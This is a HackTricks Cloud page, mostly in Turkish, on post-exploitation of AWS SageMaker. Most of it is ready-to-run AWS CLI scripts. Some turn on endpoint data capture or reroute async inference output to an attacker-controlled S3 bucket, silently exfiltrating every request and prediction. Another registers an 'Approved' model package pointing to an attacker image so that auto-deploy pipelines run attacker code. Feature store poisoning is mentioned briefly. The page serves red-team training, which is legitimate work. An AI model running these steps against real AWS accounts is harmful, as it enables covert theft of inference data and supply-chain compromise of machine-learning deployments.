AWS - SageMaker Post-Exploitation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
UpdateEndpoint DataCaptureConfig ile SageMaker endpoint veri sızdırma
Model veya container’a dokunmadan, SageMaker endpoint yönetimini kötüye kullanarak tüm istek/yanıt yakalamayı saldırgan tarafından kontrol edilen bir S3 bucket’ına etkinleştirin. Sıfır/az kesinti ile rolling update kullanır ve yalnızca endpoint yönetimi izinleri gerektirir.
Gereksinimler
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(veya aynı hesapta mevcut bir bucket kullanın) - Opsiyonel (SSE‑KMS kullanılıyorsa): seçilen CMK üzerinde
kms:Encrypt - Hedef: Aynı hesap/bölgede mevcut bir InService gerçek zamanlı endpoint
Adımlar
- InService durumundaki bir endpoint’i belirleyin ve mevcut production variants’ları toplayın
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- Yakalamalar için attacker S3 hedefini hazırla
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- Aynı varyantları koruyan ancak DataCapture’ı attacker bucket’a etkinleştiren yeni bir EndpointConfig oluşturun
Not: CLI doğrulamasını karşılayan açık içerik tiplerini kullanın.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Yeni config’i rolling update ile uygulayın (minimal/hiç kesinti)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- En az bir inference çağrısı oluşturun (canlı trafik varsa isteğe bağlı)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Saldırganın S3’ündeki yakalamaları doğrulayın
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Etki
- Hedeflenen endpoint’ten saldırgan kontrolündeki S3 kovasına gerçek zamanlı inference istek ve yanıt yüklerinin (ve meta verilerinin) tam olarak dışarı aktarılması.
- Model/container image’inde hiçbir değişiklik yapılmaz ve yalnızca endpoint düzeyinde değişiklikler uygulanır; bu, operasyonel kesintiyi en aza indirirken gizli bir veri hırsızlığı yolu sağlar.
SageMaker asenkron inference çıktı ele geçirme UpdateEndpoint AsyncInferenceConfig aracılığıyla
Mevcut EndpointConfig’i klonlayıp AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath’i ayarlayarak endpoint yönetimini kötüye kullanın; asenkron inference çıktıları saldırgan kontrolündeki bir S3 kovasına yönlendirilir. Bu, model/container’i değiştirmeden model tahminlerini (ve konteyner tarafından dahil edilen her türlü dönüştürülmüş girdiyi) dışarı aktarır.
Gereksinimler
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: model execution role veya izinli bir bucket policy aracılığıyla saldırgan S3 kovasına yazma yeteneği
- Hedef: asenkron invocations’ın kullanıldığı (veya kullanılacak olan) InService endpoint
Adımlar
- Hedef endpoint’ten mevcut ProductionVariants’i toplayın
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Bir attacker bucket oluşturun (model execution rolünün ona PutObject yapabileceğinden emin olun)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- EndpointConfig’i klonlayın ve AsyncInference çıktılarını saldırgan bucket’ına yönlendirin
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Bir async invocation tetikleyin ve nesnelerin attacker S3’e düştüğünü doğrulayın
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Impact
- Asenkron inference sonuçlarını (ve hata gövdelerini) saldırgan kontrollü S3’e yönlendirir; model kodu veya image’ı değiştirmeden ve minimum/yok denecek kadar az kesintiyle konteyner tarafından üretilen tahminlerin ve potansiyel olarak hassas ön/son işlem görmüş girdilerin gizli olarak sızdırılmasına olanak tanır.
SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
Gereksinimler
- IAM (minimum to poison an existing group):
sagemaker:CreateModelPackagehedef ModelPackageGroup üzerinde - Opsiyonel (grup yoksa oluşturmak için):
sagemaker:CreateModelPackageGroup - S3: Referans verilen ModelDataUrl’e okuma erişimi (veya saldırgan kontrollü artefaktları barındırmak)
- Hedef: downstream automation’ın Approved sürümleri izlediği bir Model Package Group
Adımlar
- Bölgeyi ayarla ve hedef bir Model Package Group oluştur/bul
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- S3’te örnek model verisi hazırla
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Kamuya açık bir AWS DLC image’ını referans alan kötü amaçlı (burada zararsız) Approved model package version kaydı oluşturma
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Yeni ‘Approved’ sürümün mevcut olduğunu doğrulayın
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Etki
- Model Registry’yi, saldırganın kontrolündeki koda referans veren bir Approved sürüm ile zehirleyin. Approved modelleri otomatik dağıtan pipelines, saldırgan imajını çekip çalıştırabilir; bu da endpoint/training roles altında kod yürütülmesine yol açar.
- Geniş izinli bir ModelPackageGroup resource policy (PutModelPackageGroupPolicy) ile bu kötüye kullanım hesaplar arası tetiklenebilir.
Feature store poisoning
Bir Feature Group üzerinde OnlineStore etkinken sagemaker:PutRecord’ı istismar ederek online inference tarafından tüketilen canlı feature değerlerini üzerine yazın. sagemaker:GetRecord ile birleştirildiğinde saldırgan hassas özellikleri okuyabilir. Bu, modellere veya endpoint’lere erişim gerektirmez.
{{#ref}} feature-store-poisoning.md {{/ref}}
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

